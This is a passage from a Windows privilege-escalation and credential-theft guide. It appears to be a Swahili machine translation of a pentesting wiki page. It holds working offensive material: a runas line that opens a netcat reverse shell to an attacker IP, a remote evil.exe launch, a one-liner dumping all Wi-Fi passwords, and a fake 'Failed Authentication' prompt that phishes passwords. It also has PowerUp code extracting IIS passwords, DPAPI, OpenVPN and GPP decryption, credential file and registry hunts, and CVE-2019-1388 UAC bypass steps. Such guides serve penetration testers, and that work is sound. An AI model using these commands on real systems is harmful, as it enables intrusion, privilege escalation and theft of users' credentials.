Kisha unaweza kutumia runas na chaguo la /savecred ili kutumia akiba ya taarifa za kuingia. Mfano ufuatao unaita binary ya mbali kupitia sehemu ya SMB.

runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"

Kutumia runas na seti ya akidi iliyotolewa.

C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"

Note that mimikatz, lazagne, credentialfileview, VaultPasswordView, or from Empire Powershells module.

DPAPI

Data Protection API (DPAPI) inatoa njia ya usimbaji wa data wa simetriki, hasa inayotumika ndani ya mfumo wa uendeshaji wa Windows kwa usimbaji wa funguo za kibinafsi zisizo za simetriki. Usimbaji huu unatumia siri ya mtumiaji au mfumo kuchangia kwa kiasi kikubwa katika entropy.

DPAPI inaruhusu usimbaji wa funguo kupitia funguo za simetriki ambazo zinatokana na siri za kuingia za mtumiaji. Katika hali zinazohusisha usimbaji wa mfumo, inatumia siri za uthibitishaji wa kikoa cha mfumo.

Funguo za RSA za mtumiaji zilizohifadhiwa, kwa kutumia DPAPI, zinahifadhiwa katika saraka ya %APPDATA%\Microsoft\Protect\{SID}, ambapo {SID} inawakilisha Kitambulisho cha Usalama wa mtumiaji. Funguo ya DPAPI, iliyoko pamoja na funguo kuu inayolinda funguo za kibinafsi za mtumiaji katika faili hiyo hiyo, kwa kawaida ina bytes 64 za data za nasibu. (Ni muhimu kutambua kwamba ufikiaji wa saraka hii umewekwa vizuizi, kuzuia orodha ya yaliyomo kupitia amri ya dir katika CMD, ingawa inaweza kuorodheshwa kupitia PowerShell).

Get-ChildItem  C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem  C:\Users\USER\AppData\Local\Microsoft\Protect\

Unaweza kutumia mimikatz module dpapi::masterkey na hoja sahihi (/pvk au /rpc) ili kuifungua.

Faili za akisi zilizolindwa na nenosiri kuu kwa kawaida zinapatikana katika:

dir C:\Users\username\AppData\Local\Microsoft\Credentials\
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\

You can use mimikatz module dpapi::cred with the appropiate /masterkey to decrypt. You can extract many DPAPI masterkeys from memory with the sekurlsa::dpapi module (if you are root).

DPAPI - Extracting Passwords

PowerShell Credentials

PowerShell credentials mara nyingi hutumiwa kwa ajili ya scripting na kazi za automatisering kama njia ya kuhifadhi akiba za siri zilizofichwa kwa urahisi. Akiba hizo zinalindwa kwa kutumia DPAPI, ambayo kwa kawaida inamaanisha zinaweza kufichuliwa tu na mtumiaji yule yule kwenye kompyuta ile ile zilipoundwa.

Ili kufichua akiba za PS kutoka kwa faili inayozihifadhi unaweza kufanya:

PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml'
PS C:\> $credential.GetNetworkCredential().username

john

PS C:\htb> $credential.GetNetworkCredential().password

JustAPWD!

Wifi

#List saved Wifi using
netsh wlan show profile
#To get the clear-text password use
netsh wlan show profile <SSID> key=clear
#Oneliner to extract all wifi passwords
cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name="%b" key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on*

Saved RDP Connections

Unaweza kuzipata kwenye HKEY_USERS\<SID>\Software\Microsoft\Terminal Server Client\Servers\ na katika HKCU\Software\Microsoft\Terminal Server Client\Servers\

Recently Run Commands

HCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU

Meneja wa Akida ya Desktop ya Kijijini

%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings

Use the Mimikatz dpapi::rdg module with appropriate /masterkey to decrypt any .rdg files You can extract many DPAPI masterkeys from memory with the Mimikatz sekurlsa::dpapi module

Sticky Notes

Watu mara nyingi hutumia programu ya StickyNotes kwenye vituo vya kazi vya Windows kuhifadhi nywila na taarifa nyingine, bila kujua ni faili ya database. Faili hii iko katika C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite na kila wakati inafaa kutafutwa na kuchunguzwa.

AppCmd.exe

Kumbuka kwamba ili kurejesha nywila kutoka AppCmd.exe unahitaji kuwa Administrator na kuendesha chini ya kiwango cha Juu cha Uaminifu. AppCmd.exe iko katika saraka ya %systemroot%\system32\inetsrv\ . Ikiwa faili hii ipo basi inawezekana kwamba baadhi ya credentials zimewekwa na zinaweza kurejeshwa.

This code was extracted from PowerUP:

function Get-ApplicationHost {
$OrigError = $ErrorActionPreference
$ErrorActionPreference = "SilentlyContinue"

# Check if appcmd.exe exists
if (Test-Path  ("$Env:SystemRoot\System32\inetsrv\appcmd.exe")) {
# Create data table to house results
$DataTable = New-Object System.Data.DataTable

# Create and name columns in the data table
$Null = $DataTable.Columns.Add("user")
$Null = $DataTable.Columns.Add("pass")
$Null = $DataTable.Columns.Add("type")
$Null = $DataTable.Columns.Add("vdir")
$Null = $DataTable.Columns.Add("apppool")

# Get list of application pools
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppools /text:name" | ForEach-Object {

# Get application pool name
$PoolName = $_

# Get username
$PoolUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.username"
$PoolUser = Invoke-Expression $PoolUserCmd

# Get password
$PoolPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.password"
$PoolPassword = Invoke-Expression $PoolPasswordCmd

# Check if credentials exists
if (($PoolPassword -ne "") -and ($PoolPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName)
}
}

# Get list of virtual directories
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir /text:vdir.name" | ForEach-Object {

# Get Virtual Directory Name
$VdirName = $_

# Get username
$VdirUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:userName"
$VdirUser = Invoke-Expression $VdirUserCmd

# Get password
$VdirPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:password"
$VdirPassword = Invoke-Expression $VdirPasswordCmd

# Check if credentials exists
if (($VdirPassword -ne "") -and ($VdirPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA')
}
}

# Check if any passwords were found
if( $DataTable.rows.Count -gt 0 ) {
# Display results in list view that can feed into the pipeline
$DataTable |  Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique
}
else {
# Status user
Write-Verbose 'No application pool or virtual directory passwords were found.'
$False
}
}
else {
Write-Verbose 'Appcmd.exe does not exist in the default location.'
$False
}
$ErrorActionPreference = $OrigError
}

SCClient / SCCM

Angalia kama C:\Windows\CCM\SCClient.exe inapatikana. Wakati wa kufunga, zinakimbizwa na mamlaka ya SYSTEM, nyingi zina udhaifu wa DLL Sideloading (Taarifa kutoka https://github.com/enjoiz/Privesc).

$result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion
if ($result) { $result }
else { Write "Not Installed." }

Faili na Rejista (Akida)

Akida za Putty

reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there

Funguo za Mhost za Putty SSH

reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\

SSH keys in registry

SSH private keys zinaweza kuhifadhiwa ndani ya funguo za registry HKCU\Software\OpenSSH\Agent\Keys hivyo unapaswa kuangalia kama kuna kitu chochote cha kuvutia huko:

reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'

Ikiwa utapata ingizo lolote ndani ya njia hiyo, labda itakuwa ni funguo za SSH zilizohifadhiwa. Imehifadhiwa kwa usimbuaji lakini inaweza kufichuliwa kwa urahisi kwa kutumia https://github.com/ropnop/windows_sshagent_extract. Taarifa zaidi kuhusu mbinu hii hapa: https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/

Ikiwa huduma ya ssh-agent haiko inafanya kazi na unataka ianze kiotomatiki wakati wa boot, endesha:

Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service

Inaonekana kwamba mbinu hii si halali tena. Nilijaribu kuunda funguo za ssh, kuziongeza na ssh-add na kuingia kupitia ssh kwenye mashine. Usajili HKCU\Software\OpenSSH\Agent\Keys haupo na procmon haikugundua matumizi ya dpapi.dll wakati wa uthibitishaji wa funguo zisizo sawa.

Faili zisizo na mtu

C:\Windows\sysprep\sysprep.xml
C:\Windows\sysprep\sysprep.inf
C:\Windows\sysprep.inf
C:\Windows\Panther\Unattended.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\System32\Sysprep\unattend.xml
C:\Windows\System32\Sysprep\unattended.xml
C:\unattend.txt
C:\unattend.inf
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul

Unaweza pia kutafuta faili hizi kwa kutumia metasploit: post/windows/gather/enum_unattend

Maudhui ya mfano:

<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
<AutoLogon>
<Password>U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo==</Password>
<Enabled>true</Enabled>
<Username>Administrateur</Username>
</AutoLogon>

<UserAccounts>
<LocalAccounts>
<LocalAccount wcm:action="add">
<Password>*SENSITIVE*DATA*DELETED*</Password>
<Group>administrators;users</Group>
<Name>Administrateur</Name>
</LocalAccount>
</LocalAccounts>
</UserAccounts>

SAM & SYSTEM backups

# Usually %SYSTEMROOT% = C:\Windows
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system

Akreditif za Wingu

#From user home
.aws\credentials
AppData\Roaming\gcloud\credentials.db
AppData\Roaming\gcloud\legacy_credentials
AppData\Roaming\gcloud\access_tokens.db
.azure\accessTokens.json
.azure\azureProfile.json

McAfee SiteList.xml

Tafuta faili inayoitwa SiteList.xml

Cached GPP Pasword

Kipengele kilikuwa na upatikanaji wa awali ambacho kiliruhusu usambazaji wa akaunti za wasimamizi wa ndani za kawaida kwenye kundi la mashine kupitia Mipangilio ya Kundi ya Mipendeleo (GPP). Hata hivyo, njia hii ilikuwa na kasoro kubwa za usalama. Kwanza, Vitu vya Mipangilio ya Kundi (GPOs), vilivyohifadhiwa kama faili za XML katika SYSVOL, vinaweza kufikiwa na mtumiaji yeyote wa kikoa. Pili, nywila ndani ya GPP hizi, zilizofichwa kwa AES256 kwa kutumia funguo za kawaida zilizoorodheshwa hadharani, zinaweza kufichuliwa na mtumiaji yeyote aliyeidhinishwa. Hii ilileta hatari kubwa, kwani inaweza kuruhusu watumiaji kupata haki za juu.

Ili kupunguza hatari hii, kazi ilitengenezwa kutafuta faili za GPP zilizohifadhiwa kwa ndani ambazo zina uwanja wa "cpassword" usio tupu. Punde tu inapotafuta faili kama hiyo, kazi hiyo inafichua nywila na inarudisha kitu maalum cha PowerShell. Kitu hiki kinajumuisha maelezo kuhusu GPP na mahali pa faili, kusaidia katika kutambua na kurekebisha udhaifu huu wa usalama.

Tafuta katika C:\ProgramData\Microsoft\Group Policy\history au katika C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history (kabla ya W Vista) kwa ajili ya faili hizi:

Groups.xml
Services.xml
Scheduledtasks.xml
DataSources.xml
Printers.xml
Drives.xml

Ili kufichua cPassword:

#To decrypt these passwords you can decrypt it using
gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw

Kutumia crackmapexec kupata nywila:

crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin

IIS Web Config

Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
C:\inetpub\wwwroot\web.config

Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
Get-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue

Mfano wa web.config wenye akreditif:

<authentication mode="Forms">
<forms name="login" loginUrl="/admin">
<credentials passwordFormat = "Clear">
<user name="Administrator" password="SuperAdminPassword" />
</credentials>
</forms>
</authentication>

Akiba za OpenVPN

Add-Type -AssemblyName System.Security
$keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs"
$items = $keys | ForEach-Object {Get-ItemProperty $_.PsPath}

foreach ($item in $items)
{
$encryptedbytes=$item.'auth-data'
$entropy=$item.'entropy'
$entropy=$entropy[0..(($entropy.Length)-2)]

$decryptedbytes = [System.Security.Cryptography.ProtectedData]::Unprotect(
$encryptedBytes,
$entropy,
[System.Security.Cryptography.DataProtectionScope]::CurrentUser)

Write-Host ([System.Text.Encoding]::Unicode.GetString($decryptedbytes))
}

Magogo

# IIS
C:\inetpub\logs\LogFiles\*

#Apache
Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue

Omba taarifa za kuingia

Unaweza kila wakati kuomba mtumiaji aingize taarifa zake za kuingia au hata taarifa za mtumiaji mwingine ikiwa unafikiri anaweza kujua hizo (zingatia kwamba kuomba mteja moja kwa moja kwa taarifa za kuingia ni hatari sana):

$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password

#Get plaintext
$cred.GetNetworkCredential() | fl

Majina ya faili yanayoweza kuwa na akidi

Faili zinazojulikana ambazo zamani zilikuwa na nywila katika maandishi wazi au Base64

$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history
vnc.ini, ultravnc.ini, *vnc*
web.config
php.ini httpd.conf httpd-xampp.conf my.ini my.cnf (XAMPP, Apache, PHP)
SiteList.xml #McAfee
ConsoleHost_history.txt #PS-History
*.gpg
*.pgp
*config*.php
elasticsearch.y*ml
kibana.y*ml
*.p12
*.der
*.csr
*.cer
known_hosts
id_rsa
id_dsa
*.ovpn
anaconda-ks.cfg
hostapd.conf
rsyncd.conf
cesi.conf
supervisord.conf
tomcat-users.xml
*.kdbx
KeePass.config
Ntds.dit
SAM
SYSTEM
FreeSSHDservice.ini
access.log
error.log
server.xml
ConsoleHost_history.txt
setupinfo
setupinfo.bak
key3.db         #Firefox
key4.db         #Firefox
places.sqlite   #Firefox
"Login Data"    #Chrome
Cookies         #Chrome
Bookmarks       #Chrome
History         #Chrome
TypedURLsTime   #IE
TypedURLs       #IE
%SYSTEMDRIVE%\pagefile.sys
%WINDIR%\debug\NetSetup.log
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\iis6.log
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\CCM\logs\*.log
%USERPROFILE%\ntuser.dat
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat

Tafuta faili zote zilizopendekezwa:

cd C:\
dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll"

Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}

Credentials in the RecycleBin

Unapaswa pia kuangalia Bin kutafuta akiba ndani yake

Ili kurejesha nywila zilizohifadhiwa na programu kadhaa unaweza kutumia: http://www.nirsoft.net/password_recovery_tools.html

Inside the registry

Funguo nyingine zinazowezekana za rejista zenye akiba

reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s
reg query "HKCU\Software\TightVNC\Server"
reg query "HKCU\Software\OpenSSH\Agent\Key"

Kutoa funguo za openssh kutoka kwenye rejista.

Historia ya Vivinjari

Unapaswa kuangalia kwa dbs ambapo nywila kutoka Chrome au Firefox zimehifadhiwa. Pia angalia historia, alama na vipendwa vya vivinjari ili labda baadhi ya nywila zimehifadhiwa huko.

Zana za kutoa nywila kutoka kwa vivinjari:

Kufuta COM DLL

Component Object Model (COM) ni teknolojia iliyojengwa ndani ya mfumo wa uendeshaji wa Windows inayoruhusu mawasiliano kati ya vipengele vya programu za lugha tofauti. Kila kipengele cha COM kina kitambulisho cha darasa (CLSID) na kila kipengele kinaonyesha kazi kupitia interface moja au zaidi, zinazotambulishwa kupitia kitambulisho cha interface (IIDs).

Darasa na interfaces za COM zinafafanuliwa katika rejista chini ya HKEY_CLASSES_ROOT\CLSID na HKEY_CLASSES_ROOT\Interface mtawalia. Rejista hii inaundwa kwa kuunganisha HKEY_LOCAL_MACHINE\Software\Classes + HKEY_CURRENT_USER\Software\Classes = HKEY_CLASSES_ROOT.

Ndani ya CLSIDs za rejista hii unaweza kupata rejista ya mtoto InProcServer32 ambayo ina thamani ya kawaida inayoelekeza kwenye DLL na thamani inayoitwa ThreadingModel ambayo inaweza kuwa Apartment (Single-Threaded), Free (Multi-Threaded), Both (Single au Multi) au Neutral (Thread Neutral).

Kimsingi, ikiwa unaweza kufuta yoyote ya DLLs ambazo zitatekelezwa, unaweza kuinua mamlaka ikiwa hiyo DLL itatekelezwa na mtumiaji tofauti.

Ili kujifunza jinsi washambuliaji wanavyotumia COM Hijacking kama njia ya kudumu angalia:

COM Hijacking

Utafutaji wa Nywila za Kijenerali katika faili na rejista

Tafuta maudhui ya faili

cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config
findstr /spin "password" *.*

Tafuta faili yenye jina fulani

dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
where /R C:\ user.txt
where /R C:\ *.ini

Tafuta kwenye rejista kwa majina ya funguo na nywila

REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K
REG QUERY HKLM /F "password" /t REG_SZ /S /d
REG QUERY HKCU /F "password" /t REG_SZ /S /d

Tools that search for passwords

MSF-Credentials Plugin ni plugin ya msf niliunda plugin hii ili kutekeleza kiotomatiki kila moduli ya metasploit POST inayotafuta akiba ndani ya mwathirika. Winpeas hutafuta kiotomatiki faili zote zinazokuwa na nywila zilizotajwa katika ukurasa huu. Lazagne ni chombo kingine kizuri cha kutoa nywila kutoka kwa mfumo.

Chombo SessionGopher hutafuta sessions, majina ya watumiaji na nywila za zana kadhaa zinazohifadhi data hii kwa maandiko wazi (PuTTY, WinSCP, FileZilla, SuperPuTTY, na RDP)

Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -Thorough
Invoke-SessionGopher -AllDomain -o
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss

Leaked Handlers

Fikiria kwamba mchakato unaotendeka kama SYSTEM unafungua mchakato mpya (OpenProcess()) kwa ufikiaji kamili. Mchakato huo huo pia unaunda mchakato mpya (CreateProcess()) kwa ruhusa za chini lakini unarithi handles zote zilizofunguliwa za mchakato mkuu. Kisha, ikiwa una ufikiaji kamili kwa mchakato wa chini wa ruhusa, unaweza kupata handle iliyofunguliwa kwa mchakato wa ruhusa ulioanzishwa na OpenProcess() na kuingiza shellcode. Read this example for more information about how to detect and exploit this vulnerability. Read this other post for a more complete explanation on how to test and abuse more open handlers of processes and threads inherited with different levels of permissions (not only full access).

Named Pipe Client Impersonation

Sehemu za kumbukumbu zinazoshirikiwa, zinazoitwa pipes, zinawezesha mawasiliano ya mchakato na uhamasishaji wa data.

Windows inatoa kipengele kinachoitwa Named Pipes, kinachowezesha michakato isiyo na uhusiano kushiriki data, hata kupitia mitandao tofauti. Hii inafanana na usanifu wa mteja/server, ambapo majukumu yanafafanuliwa kama named pipe server na named pipe client.

Wakati data inatumwa kupitia pipe na mteja, server iliyoweka pipe ina uwezo wa kuchukua utambulisho wa mteja, ikiwa ina haki zinazohitajika za SeImpersonate. Kutambua mchakato wa ruhusa unaowasiliana kupitia pipe unayoweza kuiga kunatoa fursa ya kupata ruhusa za juu kwa kukubali utambulisho wa mchakato huo mara tu unapoingiliana na pipe uliyounda. Kwa maelekezo juu ya kutekeleza shambulio kama hilo, mwongozo wa kusaidia unaweza kupatikana here na here.

Pia zana ifuatayo inaruhusu kukamata mawasiliano ya named pipe kwa zana kama burp: https://github.com/gabriel-sztejnworcel/pipe-intercept na zana hii inaruhusu kuorodhesha na kuona pipes zote ili kupata privescs https://github.com/cyberark/PipeViewer

Misc

Monitoring Command Lines for passwords

Wakati unapata shell kama mtumiaji, kunaweza kuwa na kazi zilizopangwa au michakato mingine inayotekelezwa ambayo inasafirisha akidi kwenye mstari wa amri. Skripti iliyo hapa chini inakamata mistari ya amri za mchakato kila sekunde mbili na kulinganisha hali ya sasa na hali ya awali, ikitoa tofauti zozote.

while($true)
{
$process = Get-WmiObject Win32_Process | Select-Object CommandLine
Start-Sleep 1
$process2 = Get-WmiObject Win32_Process | Select-Object CommandLine
Compare-Object -ReferenceObject $process -DifferenceObject $process2
}

Kuiba nywila kutoka kwa michakato

Kutoka kwa Mtumiaji wa Haki za Chini hadi NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass

Ikiwa una ufikiaji wa kiolesura cha grafiki (kupitia console au RDP) na UAC imewezeshwa, katika toleo fulani la Microsoft Windows inawezekana kuendesha terminal au mchakato mwingine wowote kama "NT\AUTHORITY SYSTEM" kutoka kwa mtumiaji asiye na haki.

Hii inafanya iwezekane kupandisha haki na kupita UAC kwa wakati mmoja kwa kutumia udhaifu huo huo. Zaidi ya hayo, hakuna haja ya kufunga chochote na faili ya binari inayotumika wakati wa mchakato, imesainiwa na kutolewa na Microsoft.

Baadhi ya mifumo iliyoathiriwa ni ifuatayo:

SERVER
======

Windows 2008r2	7601	** link OPENED AS SYSTEM **
Windows 2012r2	9600	** link OPENED AS SYSTEM **
Windows 2016	14393	** link OPENED AS SYSTEM **
Windows 2019	17763	link NOT opened


WORKSTATION
===========

Windows 7 SP1	7601	** link OPENED AS SYSTEM **
Windows 8		9200	** link OPENED AS SYSTEM **
Windows 8.1		9600	** link OPENED AS SYSTEM **
Windows 10 1511	10240	** link OPENED AS SYSTEM **
Windows 10 1607	14393	** link OPENED AS SYSTEM **
Windows 10 1703	15063	link NOT opened
Windows 10 1709	16299	link NOT opened

Ili kutumia udhaifu huu, ni lazima ufanye hatua zifuatazo:

1) Right click on the HHUPD.EXE file and run it as Administrator.

2) When the UAC prompt appears, select "Show more details".

3) Click "Show publisher certificate information".

4) If the system is vulnerable, when clicking on the "Issued by" URL link, the default web browser may appear.

5) Wait for the site to load completely and select "Save as" to bring up an explorer.exe window.

6) In the address path of the explorer window, enter cmd.exe, powershell.exe or any other interactive process.

7) You now will have an "NT\AUTHORITY SYSTEM" command prompt.

8) Remember to cancel setup and the UAC prompt to return to your desktop.

You have all the necessary files and information in the following GitHub repository:

https://github.com/jas502n/CVE-2019-1388

Kutoka kwa Administrator Medium hadi High Integrity Level / UAC Bypass

Soma hii ili ujifunze kuhusu Viwango vya Uaminifu:

Integrity Levels

Kisha soma hii ili ujifunze kuhusu UAC na UAC bypasses:

UAC - User Account Control

Kutoka High Integrity hadi System

Huduma mpya

Ikiwa tayari unafanya kazi kwenye mchakato wa High Integrity, kupita kwa SYSTEM kunaweza kuwa rahisi tu kwa kuunda na kutekeleza huduma mpya:

sc create newservicename binPath= "C:\windows\system32\notepad.exe"
sc start newservicename

AlwaysInstallElevated

Kutoka kwa mchakato wa High Integrity unaweza kujaribu kuwezesha enzi za AlwaysInstallElevated na kufunga shell ya kurudi kwa kutumia .msi wrapper. Maelezo zaidi kuhusu funguo za rejista zinazohusika na jinsi ya kufunga pakiti ya .msi hapa.

High + SeImpersonate privilege to System

Unaweza kupata msimbo hapa.

From SeDebug + SeImpersonate to Full Token privileges

Ikiwa una hizo haki za tokeni (labda utaweza kupata hii katika mchakato wa High Integrity), utaweza kufungua karibu mchakato wowote (sio mchakato uliohifadhiwa) kwa kutumia haki ya SeDebug, nakala ya tokeni ya mchakato, na kuunda mchakato wowote na tokeni hiyo. Kutumia mbinu hii kawaida uchaguliwa mchakato wowote unaotumia kama SYSTEM na haki zote za tokeni (ndiyo, unaweza kupata michakato ya SYSTEM bila haki zote za tokeni). Unaweza kupata mfano wa msimbo unaotekeleza mbinu iliyopendekezwa hapa.

Named Pipes

Mbinu hii inatumika na meterpreter ili kupandisha hadhi katika getsystem. Mbinu hii inajumuisha kuunda bomba na kisha kuunda/kutumia huduma kuandika kwenye bomba hilo. Kisha, server iliyounda bomba hilo kwa kutumia haki ya SeImpersonate itakuwa na uwezo wa kujifanya kuwa tokeni ya mteja wa bomba (huduma) ikipata haki za SYSTEM. Ikiwa unataka kujifunza zaidi kuhusu bomba zenye majina unapaswa kusoma hii. Ikiwa unataka kusoma mfano wa jinsi ya kutoka kwa high integrity hadi System kwa kutumia bomba zenye majina unapaswa kusoma hii.

Dll Hijacking

Ikiwa unafanikiwa kudhibiti dll inayopakiwa na mchakato unaotumia kama SYSTEM utaweza kutekeleza msimbo wowote kwa kutumia ruhusa hizo. Hivyo, Dll Hijacking pia ni muhimu kwa aina hii ya kupandisha hadhi, na, zaidi ya hayo, ni rahisi zaidi kufikia kutoka kwa mchakato wa high integrity kwani itakuwa na ruhusa za kuandika kwenye folda zinazotumika kupakia dlls. Unaweza kujifunza zaidi kuhusu Dll hijacking hapa.

From Administrator or Network Service to System

GitHub - sailay1996/RpcSsImpersonator: Privilege Escalation Via RpcSs svcGitHub

From LOCAL SERVICE or NETWORK SERVICE to full privs

Soma: https://github.com/itm4n/FullPowers

More help

Static impacket binaries

Useful tools

Zana bora ya kutafuta njia za kupandisha hadhi za ndani za Windows: WinPEAS

PrivescCheck PowerSploit-Privesc(PowerUP) -- Angalia makosa ya usanidi na faili nyeti (angalia hapa). Imegundulika. JAWS -- Angalia makosa kadhaa ya usanidi na kukusanya taarifa (angalia hapa). privesc -- Angalia makosa ya usanidi SessionGopher -- Inatoa taarifa za kikao zilizohifadhiwa za PuTTY, WinSCP, SuperPuTTY, FileZilla, na RDP. Tumia -Thorough katika eneo. Invoke-WCMDump -- Inatoa taarifa za kuingia kutoka kwa Meneja wa Taarifa. Imegundulika. DomainPasswordSpray -- Piga nenosiri zilizokusanywa kwenye domain Inveigh -- Inveigh ni zana ya PowerShell ADIDNS/LLMNR/mDNS/NBNS spoofer na man-in-the-middle. WindowsEnum -- Uainishaji wa msingi wa privesc Windows ~~Sherlock~~ ~~~~ -- Tafuta udhaifu wa privesc unaojulikana (IMEFUTWA kwa Watson) ~~WINspect~~ -- Ukaguzi wa ndani (Inahitaji haki za Admin)

Exe

Watson -- Tafuta udhaifu wa privesc unaojulikana (inahitaji kukusanywa kwa kutumia VisualStudio) (imekusanywa awali) SeatBelt -- Inatafuta mwenyeji akitafuta makosa ya usanidi (zaidi ni zana ya kukusanya taarifa kuliko privesc) (inahitaji kukusanywa) (imekusanywa awali) LaZagne -- Inatoa taarifa za kuingia kutoka kwa programu nyingi (exe iliyokusanywa awali katika github) SharpUP -- Port ya PowerUp kwa C# ~~Beroot~~ ~~~~ -- Angalia makosa ya usanidi (executable iliyokusanywa katika github). Haipendekezwi. Haifanyi kazi vizuri katika Win10. ~~Windows-Privesc-Check~~ -- Angalia makosa yanayoweza kutokea (exe kutoka python). Haipendekezwi. Haifanyi kazi vizuri katika Win10.

Bat

winPEASbat -- Zana iliyoundwa kwa msingi wa chapisho hili (haihitaji accesschk kufanya kazi vizuri lakini inaweza kuitumia).

Local

